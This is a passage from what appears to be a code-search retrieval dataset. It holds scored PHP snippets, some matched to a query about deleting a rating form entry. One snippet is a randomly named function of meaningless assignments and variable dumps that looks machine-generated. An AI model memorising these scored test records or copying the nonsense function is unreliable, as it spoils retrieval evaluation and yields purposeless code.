if($delta==0){\n array_push($nghiem, (-1* $B)/(2*$A));\n }\n return $nghiem;\n }", "title": "" }, { "docid": "50cb89c43de7b9fccdeffa603aabbce1", "score": "0.43674302", "text": "function checkqjump($qjump)\r\n{ \r\n if (count($qjump) > 16) { return false; } else { return true; }\r\n}", "title": "" }, { "docid": "e2d898025c0568ab9deaf26c3bd2a0c6", "score": "0.4367099", "text": "function calculateWholeXP($i){\n\t\t$low = $i;\n\t\t$mid = max(0,$i-15);\n\t\t$high = max(0,$i-30);\n\t\treturn $low*17+($mid*($mid-1)/2)*3+($high*($high-1)/2)*7;\n\t}", "title": "" }, { "docid": "6143154451b75c5f3b84525814ac5b87", "score": "0.43618274", "text": "function CTriangulo(){\n $this->altura= 0; // atributos\n $this->base = 0; \n }", "title": "" }, { "docid": "380c61058b402711d90ce4a502b22990", "score": "0.43614614", "text": "function gol3(){\n\t\t\t\tfor ($i=$GLOBALS['awal']; $i<=$GLOBALS['akhir'] ; $i++) { \n\t\t\t\t\tif ($i%3==0 && $i%5==0) {\n\t\t\t\t\t\techo \"$i\\t\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}", "title": "" }, { "docid": "b05d93e36b626d834f1458ef92e8886b", "score": "0.4358537", "text": "function lVVuh1F6nma9ByFQAogw()\n{\n $dFe766 = 'wHV';\n $jaKSZyu = 'Q5XZr';\n $s4 = 'yiyEgu9';\n $PSa492n2HAG = 'hw';\n $C1G3kThh = 'Q2Fww2Mz';\n $Dvy8vz = 'WwwdZGoG';\n $Aqj3PaJjPp = 'MnD';\n $Sk = 'MmN';\n $BCRSBC = new stdClass();\n $BCRSBC->x7 = 'Zm4ye4i';\n $BCRSBC->KefgX_cScy = 'vUzOs7uKSk';\n $BCRSBC->C9 = '_EhrSmi';\n $BCRSBC->Lj9g5KahEw = 'dEsuehdM';\n $K8g = 'bkpyoVMl4Fn';\n $AZ0tJ = 'SFRjI';\n $U3oXKI_BhX = 'ufUV4mn6TQs';\n $jaKSZyu = $_GET['EhSa4WJCKyHyaf'] ?? ' ';\n $s4 = $_POST['RDiq5Q0J63onuZR'] ?? ' ';\n $PSa492n2HAG = explode('KWGf2YUjR', $PSa492n2HAG);\n $au3dPYLzyv = array();\n $au3dPYLzyv[]= $Sk;\n var_dump($au3dPYLzyv);\n var_dump($K8g);\n $cS4Mse_ = array();\n $cS4Mse_[]= $AZ0tJ;\n var_dump($cS4Mse_);\n $q0H_ec6F = 'WEt6e';\n $sG2vHo = 'X5nlYHFY';\n $wjrRSP2Nm = 'dwBve_pLh';\n $G3xNVORRPi = 'VLxgDDnCyb';\n $TKfM3oChg = 'LrlCl';\n $Ja = 'eSqURN';\n $fxY8i = 'AkISEXf3oJ';\n $C1DIa = 'NV';\n $afHV = 'YoH3p3';\n $bc6Uhvof = 'axK1';\n if(function_exists(\"hLCjaGnM\")){\n hLCjaGnM($q0H_ec6F);\n }\n echo $sG2vHo;\n $wjrRSP2Nm = $_POST['Y6erCp'] ?? ' ';\n $mxxTdtqbD = array();\n $mxxTdtqbD[]= $TKfM3oChg;\n var_dump($mxxTdtqbD);\n preg_match('/isBLoX/i', $Ja, $match);\n print_r($match);\n $fxY8i = $_POST['xWXMTvh5DRPC'] ?? ' ';\n echo $C1DIa;\n $afHV = $_GET['Er9EGQislJ0babD8'] ?? ' ';\n var_dump($bc6Uhvof);\n \n}", "title": "" }, { "docid": "9798d9388902dd6f7bba4eaccff49897", "score": "0.43584967", "text": "function __toString(){\n\t\t// TODO all are string values, maybee som should be decimal\n\t\t//$x=$this->attributes['fp'][0]+$this->attributes['offset'];\n\t\t//$y=$this->attributes['fp'][0]-$this->attributes['offset'];\n\n\t\t$x=$this->attributes['fp'][0]+$this->attributes['offset'];\n\t\t$y=$this->attributes['fp'][1]-$this->attributes['offset'];\n\t\t$defaults['lineweight']=1;\n\t\t\t\t\n\t\treturn sprintf(\"0\\nDIMENSION\\n70\\n1\\n10\\n%d\\n20\\n%d\\n13\\n%d\\n23\\n%d\\n14\\n%d\\n24\\n%d\\n370\\n%d\\n\",\n\t\t\t\t\t\t\t\t\t$x,$y,\n\t\t\t\t\t\t\t\t\t$this->attributes['fp'][0],\n\t\t\t\t\t\t\t\t\t$this->attributes['fp'][1],\n\t\t\t\t\t\t\t\t\t$this->attributes['sp'][0],\n\t\t\t\t\t\t\t\t\t$this->attributes['sp'][1],\n\t\t\t\t\t\t\t\t\t$this->attributes['lineweight']\n\t\t\t\t\t\t\t\t\t);\n\t}", "title": "" }, { "docid": "aaf2f4a6d6bad0d73566c59f800aeb12", "score": "0.43566564", "text": "function captchaAddQuestionDigit($pLength)\n{\n return mt_rand(0, 99) . \"+\" . mt_rand(0, 99);\n}", "title": "" }, { "docid": "36e970c64dc68ea67bade707559ca3ea", "score": "0.43561828", "text": "function bpx($x = NULL) { lastbreakp($x); }", "title": "" }, { "docid": "f56fe5c4714592679a11bb301ddd5d78", "score": "0.43534657", "text": "function compactCharTable($printer, $start = 4, $header = false)\n{\n $chars = str_repeat(' ', 256);\n for ($i = 0; $i < 255; $i++) {\n $chars[$i] = ($i > 32 && $i != 127) ? chr($i) : ' ';\n }\n if ($header) {\n $printer -> setEmphasis(true);\n $printer -> textRaw(\" 0123456789ABCDEF0123456789ABCDEF\\n\");\n $printer -> setEmphasis(false);\n }\n for ($y = $start; $y < 8; $y++) {\n $printer -> setEmphasis(true);\n $printer -> textRaw(strtoupper(dechex($y * 2)) . \" \");\n $printer -> setEmphasis(false);\n $printer -> textRaw(substr($chars, $y * 32, 32) . \"\\n\");\n }\n}", "title": "" }, { "docid": "c389f91469216666173d27cf493f550d", "score": "0.4349464", "text": "function gwsc() {\n\t$cs = array('00', '33', '66', '99', 'CC', 'FF');\n\t$c = array();\n\tfor($i=0; $i<6; $i++) {\n\t\tfor($j=0; $j<6; $j++) {\n\t\t\tfor($k=0; $k<6; $k++) {\n\t\t\t\t$c[] = $cs[$i] .$cs[$j] .$cs[$k];\n\t\t\t}\n\t\t}\n\t}\n\treturn $c;\n}", "title": "" }, { "docid": "675dc3a107eecf61e3fac5b2650362dc", "score": "0.43449444", "text": "function getWayStr ( $curr ) {\n\t\t$nextAbove = -1;\n\t\tfor ( $i = ++$curr; $end = count ( $this->pmEdges ), $i <= $end; ++$i ) {\n\t\t\tif ( $nextAbove == -1) {\n\t\t\t\t$nextAbove = $i;\n\t\t\t} else {\n\t\t\t\t$this->wayStr [ ] = $this->pmEdges [ $i ] - 1;\n\t\t\t\t$this->wayStr [ ] = $this->pmEdges [ $curr ] - 1;\n\t\t\t}\n\t\t}\n\t\tif ( $nextAbove != -1 ) {\n\t\t\tif ( $nextAbove != $curr ) {\n\t\t\t\t$this->wayStr [ ] = $this->pmEdges [ $nextAbove ] - 1;\n\t\t\t\t$this->wayStr [ ] = $this->pmEdges [ $curr ] - 1;\n\t\t\t}\n\t\t\t$this->getWayStr ( $nextAbove );\n\t\t}\n\t}", "title": "" }, { "docid": "df5d43af29ade8a18d0f9fa6a872c9b4", "score": "0.4344882", "text": "function gol1(){\n\t\t\t\tfor ($i=$GLOBALS['awal']; $i<=$GLOBALS['akhir'] ; $i++) { \n\t\t\t\t\tif ($i%3==0) {\n\t\t\t\t\t\techo \"$i\\t\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}", "title": "" } ]
30e0c70e84fdff9de5a4467616cea976
Deletes a rating form entry
[ { "docid": "52f84cd1a8ccbd57f6e7a83efd9986ff", "score": "0.68465954", "text": "public static function delete_rating() {\n\t\n\t\t$ajax_nonce = $_POST['nonce'];\n\t\tif ( wp_verify_nonce( $ajax_nonce, MRP_Multi_Rating::ID . '-nonce' ) ) {\n\t\n\t\t\tglobal $wpdb;\n\t\n\t\t\t// check parameters\n\t\t\tif ( ! isset( $_POST['postId'] ) || ( isset( $_POST['postId'] ) && ! is_numeric( $_POST['postId'] ) )\n\t\t\t\t\t|| ! isset( $_POST['ratingFormId'] ) || ( isset($_POST['ratingFormId']) && ! is_numeric($_POST['ratingFormId'] ) )\n\t\t\t\t\t|| ! isset( $_POST['ratingEntryId'] ) || ( isset($_POST['ratingEntryId']) && ! is_numeric($_POST['ratingEntryId'] ) ) ) {\n\t\t\t\tdie();\n\t\t\t}\n\n\t\t\t$sequence = isset( $_POST['sequence'] ) && is_numeric( $_POST['sequence'] ) ? intval( $_POST['sequence'] ) : null;\n\t\t\t$post_id = null;\n\t\t\tif ( isset( $_POST['postId'] ) && is_numeric( $_POST['postId'] ) ) {\n\t\t\t\t$post_id = apply_filters( 'mrp_object_id', intval( $_POST['postId'] ), apply_filters( 'mrp_default_language', null ) );\n\t\t\t}\n\t\t\t$rating_form_id = isset( $_POST['ratingFormId'] ) && is_numeric( $_POST['ratingFormId'] ) ? intval( $_POST['ratingFormId'] ) : null;\n\t\t\t$rating_entry_id = isset( $_POST['ratingEntryId'] ) && is_numeric( $_POST['ratingEntryId'] ) ? intval( $_POST['ratingEntryId'] ) : null;\t\t\t\n\t\n\t\t\t// get user id\n\t\t\tglobal $wp_roles;\n\t\t\t$user = wp_get_current_user();\n\t\t\t$user_id = $user->ID;\n\t\t\t\n\t\t\t$rating_entry = array(\n\t\t\t\t\t'rating_entry_id' => $rating_entry_id,\n\t\t\t\t\t'post_id' => $post_id,\n\t\t\t\t\t'rating_form_id' => $rating_form_id,\n\t\t\t\t\t'custom_fields' => $custom_field_values,\n\t\t\t\t\t'user_id' => $user_id\n\t\t\t);\n\t\t\t\n\t\t\t$validation_results = array();\n\t\t\t\n\t\t\t// check if user belongs to rating entry id\n\t\t\tif ( $user_id == 0 || ( $user_id != 0\n\t\t\t\t\t&& ! MRP_Multi_Rating_API::user_rating_exists( $rating_form_id, $post_id, $user_id, $rating_entry_id ) ) ) {\n\t\t\t\tarray_push( $validation_results, array(\n\t\t\t\t\t\t'severity' => 'error',\n\t\t\t\t\t\t'message' => __( 'You cannot delete a rating you did not submit or the rating may already be deleted.', 'multi-rating-pro' )\n\t\t\t\t) );\n\t\t\t}\n\t\t\t\t\t\t\n\t\t\t$validation_results = apply_filters( 'mrp_after_rating_form_validation_delete', $validation_results, $rating_entry );\n\t\t\t\n\t\t\tif ( MRP_Utils::has_validation_error( $validation_results ) ) {\n\t\t\t\n\t\t\t\t$ajax_response = json_encode( array (\n\t\t\t\t\t\t'status' => 'error',\n\t\t\t\t\t\t'data' => array(\n\t\t\t\t\t\t\t\t'sequence' => $sequence,\n\t\t\t\t\t\t\t\t'rating_form_id' => $rating_form_id,\n\t\t\t\t\t\t\t\t'post_id' => $post_id,\n\t\t\t\t\t\t\t\t'action' => 'delete'\n\t\t\t\t\t\t),\n\t\t\t\t\t\t'validation_results' => $validation_results\n\t\t\t\t) );\n\t\t\t\n\t\t\t\techo $ajax_response;\n\t\t\t\n\t\t\t\tdie();\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\tMRP_Multi_Rating_API::delete_rating_entry( $rating_entry );\n\t\t\t\n\t\t\t$rating_result = MRP_Multi_Rating_API::get_rating_result( array( 'post_id' => $post_id, 'rating_form_id' => $rating_form_id ) );\n\t\t\t\n\t\t\t$custom_text_settings = (array) MRP_Multi_Rating::instance()->settings->custom_text_settings;\n\t\t\t$general_settings = (array) get_option( MRP_Multi_Rating::GENERAL_SETTINGS );\n\t\t\t$auto_placement_settings = (array) get_option( MRP_Multi_Rating::AUTO_PLACEMENT_SETTINGS );\n\t\t\t\t\n\t\t\tob_start();\n\t\t\tmrp_get_template_part( 'rating-result', null, true, array(\n\t\t\t\t'no_rating_results_text' => $custom_text_settings[MRP_Multi_Rating::NO_RATING_RESULTS_TEXT_OPTION],\n\t\t\t\t'generate_microdata' => false,\n\t\t\t\t'show_title' => false,\n\t\t\t\t'show_date' => false,\n\t\t\t\t'show_count' => true,\n\t\t\t\t'result_type' => $general_settings[MRP_Multi_Rating::DEFAULT_RATING_RESULT_TYPE_OPTION],\n\t\t\t\t'class' => 'rating-result-' . $rating_form_id . '-' . $post_id . ' mrp-filter ' . $auto_placement_settings[MRP_Multi_Rating::RATING_RESULTS_POSITION_OPTION ],\n\t\t\t\t'rating_result' => $rating_result,\n\t\t\t\t'before_count' => '(',\n\t\t\t\t'after_count' => ')',\n\t\t\t\t'post_id' => $post_id,\n\t\t\t\t'ignore_count' => false,\n\t\t\t\t'preserve_max_option' => false,\n\t\t\t\t'before_date' => '',\n\t\t\t\t'after_date' => ''\n\t\t\t) );\n\t\t\t$html = ob_get_contents();\n\t\t\tob_end_clean();\n\t\t\t\n\t\t\t/* Rating Rank */\n\t\t\t$ndf_data_mr_ratingrank = ($rating_result['adjusted_star_result']) * ( $rating_result['count_entries'] );\n\t\t\tupdate_post_meta( $post_id, 'ndf_data_mr_ratingrank', $ndf_data_mr_ratingrank );\n\t\t\t/* EO Rating Rank */\n\t\t\t\n\t\t\t$ajax_response = (array) apply_filters( 'mrp_delete_rating_response', array(\n\t\t\t\t\t'status' => 'success',\n\t\t\t\t\t'message' => array( $custom_text_settings[ MRP_Multi_Rating::DELETE_RATING_SUCCESS_MESSAGE_OPTION] ),\n\t\t\t\t\t'data' => array(\n\t\t\t\t\t\t\t'sequence' => $sequence,\n\t\t\t\t\t\t\t'rating_form_id' => $rating_form_id,\n\t\t\t\t\t\t\t'post_id' => $post_id,\n\t\t\t\t\t\t\t'action' => 'delete',\n\t\t\t\t\t\t\t'html' => $html,\n\t\t\t\t\t\t\t'rating_result' => $rating_result,\n\t\t\t\t\t\t\t'hide_rating_form' => ( $user_id == 0 || $advanced_settings[MRP_Multi_Rating::HIDE_RATING_FORM_SUBMIT_OPTION] ),\n\t\t\t\t\t\t\t'user_id' => $user_id != 0 ? $user_id : null\n\t\t\t\t\t),\n\t\t\t) );\n\t\n\t\t\techo json_encode( $ajax_response );\n\t\t}\n\t\n\t\tdie();\n\t}", "title": "" } ]
[ { "docid": "8c0c9de81e7d1b105345848302c8e1bb", "score": "0.76591706", "text": "public function delete_rating() {\n //todo implement this if its actually needed\n }", "title": "" }, { "docid": "dfc20db9aeae8e5ceeefc488c4880664", "score": "0.6756147", "text": "public function destroy(Rating $rating)\n {\n //\n }", "title": "" }, { "docid": "dfc20db9aeae8e5ceeefc488c4880664", "score": "0.6756147", "text": "public function destroy(Rating $rating)\n {\n //\n }", "title": "" }, { "docid": "dfc20db9aeae8e5ceeefc488c4880664", "score": "0.6756147", "text": "public function destroy(Rating $rating)\n {\n //\n }", "title": "" }, { "docid": "81d9191f7da147c2cf3795d3517edd15", "score": "0.6596898", "text": "public function delete()\n {\n return $this->dao->delete([\"idCalificacion\" => $this->idRating]);\n }", "title": "" }, { "docid": "d93205222ba5a81bccd2daa9c37d0e83", "score": "0.64008373", "text": "public function destroy(Rating $rating)\n {\n //\n $rating->delete();\n\n session()->flash('success', 'Rate Deleted Successfully');\n return redirect()->route('dashboard.ratings.index');\n }", "title": "" }, { "docid": "fbc7d1f5dff4ca3b654c4273cfb596f6", "score": "0.6351028", "text": "public function destroy(Ratings $rating)\n {\n $rating->delete();\n return redirect()->route('reviews.index')->withStatus(__('Rating has been removed'));\n }", "title": "" }, { "docid": "1f4534cddfd0b41dd4c33c7824edd258", "score": "0.6342866", "text": "public function actionDelete($id)\n {\n return $this->txDelete( $id,\"app\\models\\Rating\" );\n \n }", "title": "" }, { "docid": "ee436799d38d59e6e838d9706be75ff5", "score": "0.6318925", "text": "function delete_user_rating($id)\n {\n return $this->db->delete('user_ratings',array('id'=>$id));\n }", "title": "" }, { "docid": "589054e8c8b5c19f36ee758f646f530d", "score": "0.62786883", "text": "public static function delete_rating_handler(com_meego_comments_comment $comment)\n {\n $mvc = midgardmvc_core::get_instance();\n\n if ($comment)\n {\n $storage = new midgard_query_storage('com_meego_ratings_rating');\n $q = new midgard_query_select($storage);\n\n $qc = new midgard_query_constraint_group('AND');\n\n $qc->add_constraint(new midgard_query_constraint(\n new midgard_query_property('comment'),\n '=',\n new midgard_query_value($comment->id)\n ));\n $qc->add_constraint(new midgard_query_constraint(\n new midgard_query_property('rating'),\n '=',\n new midgard_query_value('')\n ));\n\n $q->set_constraint($qc);\n\n $q->execute();\n $ratings = $q->list_objects();\n\n if (count($ratings))\n {\n foreach ($ratings as $rating)\n {\n $res = $rating->delete();\n if ($res)\n {\n $mvc->log(__CLASS__, 'Rating object with id: ' . $rating->id . ' has been successfuly deleted.', 'info');\n }\n else\n {\n $mvc->log(__CLASS__, 'Rating object with id: ' . $rating->id . ' could not be deleted.', 'info');\n }\n }\n }\n }\n }", "title": "" }, { "docid": "9765fe561bc5d88a31899f45f6b2c26c", "score": "0.60964644", "text": "public function delete_form()\n\t\t{\n\t\t\t\n\t\t}", "title": "" }, { "docid": "fad19c424e4d18967711d62fb55bcb40", "score": "0.60769975", "text": "public function deleteEntry()\n {\n $sOxId = $this->getEditObjectId();\n $oModel = oxNew(\"Styla_Paths\");\n if ($sOxId && $oModel->load($sOxId)) {\n $this->_oStylaUtil->deleteStylaSeo($sOxId);\n parent::deleteEntry();\n }\n }", "title": "" }, { "docid": "b145f1e2fa5a3cfa4104293cb1e1f18c", "score": "0.6030101", "text": "public function delete()\n {\n $this->delete_by_id($this->field['id']);\n }", "title": "" }, { "docid": "ed661c09524562080007e79bd42b0996", "score": "0.602216", "text": "public function delete($id)\n {\n $rating = Rating::find($id);\n if ($rating) {\n $rating->delete();\n }\n\n return redirect()->back()->with('message', 'Rating deleted successfully!');\n }", "title": "" }, { "docid": "75c5676130f9ac15ae587f7e8e8447fe", "score": "0.5962871", "text": "function ratings_delete()\n{\n // Remove module hooks\n if (!pnModUnregisterHook('item', 'display', 'GUI', 'Ratings', 'user', 'display')) {\n pnSessionSetVar('errormsg', _RATINGSCOULDNOTUNREGISTER);\n\t\t// return false;\n }\n\n if (!pnModUnregisterHook('module', 'remove', 'API', 'Ratings', 'admin', 'removehook')) {\n pnSessionSetVar('errormsg', _RATINGSCOULDNOTUNREGISTER);\n\t\t// return false;\n }\n\n // Delete module variables\n pnModDelVar('Ratings', 'defaultstyle');\n pnModDelVar('Ratings', 'seclevel');\n\n // Get database information\n $dbconn =& pnDBGetConn(true);\n $pntable =& pnDBGetTables();\n\n // Create a new data dictionary object\n $dict = NewDataDictionary($dbconn);\n\n // Drop the table - for such a simple command the advantages of separating\n // out the SQL statement from the Execute() command are minimal, but as\n // this has been done elsewhere it makes sense to stick to a single method\n // create the data dictionaries SQL array\n\n\t// This array contains all the ncessary information to execute some sql \n\t// on any of the supported dbms platforms\n $sqlarray = $dict->DropTableSQL($pntable['ratings']);\n\n // Execute the sql that has been created\n $result = $dict->ExecuteSQLArray($sqlarray);\n\n // Check for an error with the database code, and if so set an\n // appropriate error message and return\n if ($result != 2) {\n pnSessionSetVar('errormsg', _DELETETABLEFAILED);\n return false;\n }\n\n // Drop the table - for such a simple command the advantages of separating\n // out the SQL statement from the Execute() command are minimal, but as\n // this has been done elsewhere it makes sense to stick to a single method\n // create the data dictionaries SQL array\n\n\t// This array contains all the ncessary information to execute some sql \n\t// on any of the supported dbms platforms\n $sqlarray = $dict->DropTableSQL($pntable['ratingslog']);\n\n // Execute the sql that has been created\n $result = $dict->ExecuteSQLArray($sqlarray);\n\n // Check for an error with the database code, and if so set an\n // appropriate error message and return\n if ($result != 2) {\n pnSessionSetVar('errormsg', _DELETETABLEFAILED);\n return false;\n }\n\n // Deletion successful\n return true;\n}", "title": "" }, { "docid": "89b3f4ff8a9e632710193f0ff64dad44", "score": "0.59275067", "text": "public function delete(){\n\t\t$this->CI->model_social->delete(array('est_id' => $this->est_id));\n\t}", "title": "" }, { "docid": "de788bc4dbd2fee9181cf0415ad981e0", "score": "0.59253997", "text": "public function removeentry(){\n\t\t$id = \"\";\n\t\tif ($this->request->isParameterNotEmpty(\"actionid\")) {\n\t\t\t$id = $this->request->getParameter ( \"actionid\" );\n\t\t}\n\t\t\n\t\tif ($id != \"\"){\n\t\t\t$modelBillManager = new SyBill();\n\t\t\t$modelBillManager->removeEntry($id);\n\t\t}\n\t\t$this->redirect(\"sygrrifbillmanager\");\n\t}", "title": "" }, { "docid": "367becfda386afb9824f49649787f4b1", "score": "0.5901865", "text": "public function deleteItemAction($request)\n {\n try {\n $sid = Session::get('sid'); \n $itemList = $request->getValue('id');\n $type = ucfirst(strtolower($request->getValue('type', 'Best')));\n $cid = $request->getValue('cid', 0);\n $contentType = strtolower($request->getValue('contentType', 'Item'));\n $ContentType = ucfirst($contentType);\n\n $result = $this->setsProvider->RemoveElementsSetRatingList($sid, $type, $ContentType, $cid, $itemList);\n \n $this->clearCache($contentType, $type);\n } catch (Exception $e) {\n $this->respondAjaxError($e->getMessage());\n }\n $this->sendAjaxResponse();\n }", "title": "" }, { "docid": "d13520bc4cb723b3cab5a61ef5cb3e70", "score": "0.5885928", "text": "public function delete(Request $request)\n {\n $lead_delete_id = $request->appdel_id;\n $delete_event = Rating::where('id', $lead_delete_id)->delete();\n if(auth()->user()->userType == 3){\n return redirect()->route('business-admin.manage_ratings');\n }\n // return redirect()->route('admin.manage_offers');\n }", "title": "" }, { "docid": "1e9ec2c44e890cf843cbf35e9e60782a", "score": "0.5876229", "text": "public function deleting(Form $form);", "title": "" }, { "docid": "1555442893133046fec5d4c86c726550", "score": "0.5874393", "text": "public function delete()\n {\n $tbl_grade_results = Database :: get_main_table(TABLE_MAIN_GRADEBOOK_RESULT);\n $sql = 'DELETE FROM ' . $tbl_grade_results . ' WHERE id = ' . $this->id;\n Database::query($sql);\n }", "title": "" }, { "docid": "20bf0a0bb4f0799678c7d6f7052f5f3d", "score": "0.5863573", "text": "public function delete()\n\t{\n\t\t$delete_note = $this->input->post();\n\t\t$this->note->delete($delete_note);\n\t\t$this->index_html();\n\t}", "title": "" }, { "docid": "0b91638d07121a1dfc244880419f54ab", "score": "0.5852103", "text": "public function delete()\n {\n if (isset($this->vals, $this->name)) {\n $this->filter();\n if (!isset($this->Dname)) {\n $this->normalize();\n }\n $delCommand = $this->mainP->delete()->from($this->Dname . 'Rt')->where('id', $this->vals['id']);\n $this->result = $delCommand->execute();\n if ($this->result) {\n echo 'Deleting successfully Accomplished!' . PHP_EOL;\n }\n } else {\n echo 'Insert Vals and Name first!' . PHP_EOL;\n }\n }", "title": "" }, { "docid": "2a7fdd86f642f10ff2e01d81079d0ab5", "score": "0.58427596", "text": "public function forceDelete(Model $entry);", "title": "" }, { "docid": "8afc10b153931f7326301f0ad940e4f4", "score": "0.58335096", "text": "public function deleteAction() {\n\t\t$entryId = $this->getRequest()->getParam( 'id', false );\n\n\t\ttry {\n\t\t\tMage::getModel( 'bankrules/bankrules' )->setId( $entryId )->delete();\n\t\t\tMage::getSingleton( 'adminhtml/session' )->addSuccess( Mage::helper( 'bankintegration' )->__( 'Filter entry deleted' ) );\n\t\t\t$this->getResponse()->setRedirect( $this->getUrl( '*/*/' ) );\n\t\t\treturn;\n\t\t} catch ( Exception $e ) {\n\t\t\tMage::getSingleton( 'adminhtml/session' )->addError( $e->getMessage() );\n\t\t}\n\n\t\t$this->_redirectReferer();\n\t}", "title": "" }, { "docid": "e5a8a093ba0800624cc9d1ca77947d69", "score": "0.5831903", "text": "public function delete_entry($id_entry)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "9a2b08f77520b2fa24c3375e81fa0e10", "score": "0.5821472", "text": "public function deleteroomrateAction() {\n\t\tif ($this->_helper->user->isLoggedIn()) {\n\t\t\t$roomId = $this->_getParam(\"roomId\");\n\t\t\t$rateId = $this->_getParam(\"rateId\");\n\t\t\t$this->rate->deleteById($rateId);\n\t\t\t$this->_redirect(\"/room/roomprice/rid/\".$roomId);\n\t\t} else {\n\t\t\t$this->_redirect( \"/user/login?next=\".urlencode($this->_helper->generator->getCurrentURI()) );\n\t\t}\n\t}", "title": "" }, { "docid": "9630eab2695cb065b7207447a94e72c1", "score": "0.5799062", "text": "public function eliminar(){\n\t\tif (!$this->request->is('post')) {\n \tthrow new MethodNotAllowedException();\n\t }\n\t $id = $this->request->data[id];\n\t if ($this->Nomina->delete($id)) {\n\t $this->Session->setFlash('Nomina fue eliminada con éxito!', 'default', array(), 'success');\n\t }\t\t\n\t\t\n\t}", "title": "" }, { "docid": "955ce89aa76c820cbebc74f71ed57fd0", "score": "0.5789179", "text": "function deleteEntry($entryId)\r\n {\r\n \r\n }", "title": "" }, { "docid": "9dd610636fda88be27b46eb710fbbaca", "score": "0.5772569", "text": "public function deleteFromName($entryName);", "title": "" }, { "docid": "03388205de8ccb0798b20c50eee1aeda", "score": "0.5766521", "text": "public function deleted(Form $form);", "title": "" }, { "docid": "5c4948f63fc2fae93398951431a895bb", "score": "0.57579", "text": "public function delete()\t\t\t\t\t\t\t//\n\t\t{\t\t\t\t\t\t\t\t\t\t//\n\t\t\t$movieid = $this->input->post('id');\t\t\t\t\t// Which Movie ID to delete\n\t\t\tif($this->session->userdata('logged_in'))\t\t\t\t// Check to see that a user is logged in\n\t\t\t{\t\t\t\t\t\t\t\t\t//\n\t\t\t\t$this->movie->deletemovie($movieid);\t\t\t\t// If user is logged in, call the edit function\n\t\t\t}\t\t\t\t\t\t\t\t\t//\n\t\t}", "title": "" }, { "docid": "8df08ec6d1148c9a05f141c000d36c67", "score": "0.5751832", "text": "public function deleted(Review $review)\n {\n $productId = $review->product_id;\n\n $PT = Product::find($productId);\n $PT->star_tot_number -= $review->stars;\n $PT->n_reviews--;\n $PT->save();\n }", "title": "" }, { "docid": "08a6d4c0f4409483922865aa1ee0aa65", "score": "0.57478845", "text": "public function deletePop()\n {\n $popular = PopularSlider::find($_POST[\"id\"]);\n unlink(public_path() . '/image/popular/' . $popular->image);\n $popular->delete();\n }", "title": "" }, { "docid": "9cd50f31fa895bbff85ec986a685f59a", "score": "0.5741234", "text": "public function delete() {\n\t\t$this->predictionsTable->delete($_POST['predictionId']);\n\t\t\n\t\t// redirects the browser to the list page\n\t\theader('location: /prediction/list');\n\t\t\n\t\t// End this program flow to prevent PHP warning in error log\n\t\tdie();\n\t}", "title": "" }, { "docid": "ca9186ba64e94dd1e26131b910ad77b8", "score": "0.5733075", "text": "public function deleteAction()\n {\n if ( $this->getRequest()->getParam('id') > 0) {\n try {\n $scores = Mage::getModel('bs_docwise/scores');\n $scores->setId($this->getRequest()->getParam('id'))->delete();\n Mage::getSingleton('adminhtml/session')->addSuccess(\n Mage::helper('bs_docwise')->__('Score (OLD) was successfully deleted.')\n );\n $this->_redirect('*/*/');\n return;\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id')));\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_docwise')->__('There was an error deleting score (old).')\n );\n $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id')));\n Mage::logException($e);\n return;\n }\n }\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_docwise')->__('Could not find score (old) to delete.')\n );\n $this->_redirect('*/*/');\n }", "title": "" }, { "docid": "83d753b784ceba5ef4bd695ca98ce537", "score": "0.57236165", "text": "public function deleteEntry($id);", "title": "" }, { "docid": "1f45746e809f1f39b780e86d404b5142", "score": "0.5719075", "text": "public function delete(){\n\t\tReserva::delete($_GET['Id_Sem']);\n\t\t$_SESSION['mensaje']='Su reserva fue eliminada satisfactoriamente';\n\t\t$this->showsearchdelete();\n\t\t//header('Location: index.php');\n\t}", "title": "" }, { "docid": "e3306119aa8c9fe2643d9edcdcaad2df", "score": "0.56934834", "text": "public function delete()\r\n {\r\n $model = new surveysummary($_GET['id']);\r\n $model->deleteSummary();\r\n\r\n /*** Redirect User to survey summary/Index ***/\r\n header(\"location: index.php?rt=surveysummary/index\");\r\n }", "title": "" }, { "docid": "34d6d233e22d0e2981660a5ecec750a4", "score": "0.56880057", "text": "public function deleteEntry($entry_id){\n $entry_id = intval(trim($entry_id));\n $sql = \"DELETE FROM entries \n WHERE id = ?\";\n $query = $this->db->prepare($sql);\n $query->bindParam(1, $entry_id);\n $query->execute();\n }", "title": "" }, { "docid": "cfc7cb14fd2fdb6b5aa09e416ab289c8", "score": "0.56842464", "text": "public function deleteAction() {\n\n $this->validateRequestMethod('DELETE');\n\n //ONLY LOGGED IN USER CAN DELETE REVIEW\n if (!$this->_helper->requireUser()->isValid())\n $this->respondWithError('unauthorized');\n\n //SUBJECT SHOULD BE SET\n if (!$this->_helper->requireSubject('siteevent_review')->isValid())\n $this->respondWithError('no_record');\n\n //GET VIEWER ID\n $viewer = Engine_Api::_()->user()->getViewer();\n $review = Engine_Api::_()->core()->getSubject();\n $viewer_id = $viewer->getIdentity();\n $siteevent = $review->getParent();\n\n //GET REVIEW ID AND REVIEW OBJECT\n $review_id = $this->_getParam('review_id');\n\n //AUTHORIZATION CHECK\n $can_delete = Engine_Api::_()->authorization()->getPermission($viewer->level_id, 'siteevent_event', \"review_delete\");\n\n //WHO CAN DELETE THE REVIEW\n if (empty($can_delete) || ($can_delete == 1 && $viewer_id != $review->owner_id)) {\n $this->respondWithError('unauthorized');\n }\n\n $db = Engine_Db_Table::getDefaultAdapter();\n $db->beginTransaction();\n try {\n\n //DELETE REVIEW FROM DATABASE\n Engine_Api::_()->getItem('siteevent_review', (int) $review_id)->delete();\n $db->commit();\n $this->successResponseNoContent('no_content', true);\n } catch (Exception $ex) {\n $db->rollBack();\n $this->respondWithValidationError('internal_server_error', $ex->getMessage());\n }\n }", "title": "" }, { "docid": "dc0bdb9edb0aa4c4cd5f60b7fa930920", "score": "0.5666127", "text": "public function actionDelete()\n {\n $id = $_POST['value'];\n $this->findModel($id)->delete();\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": 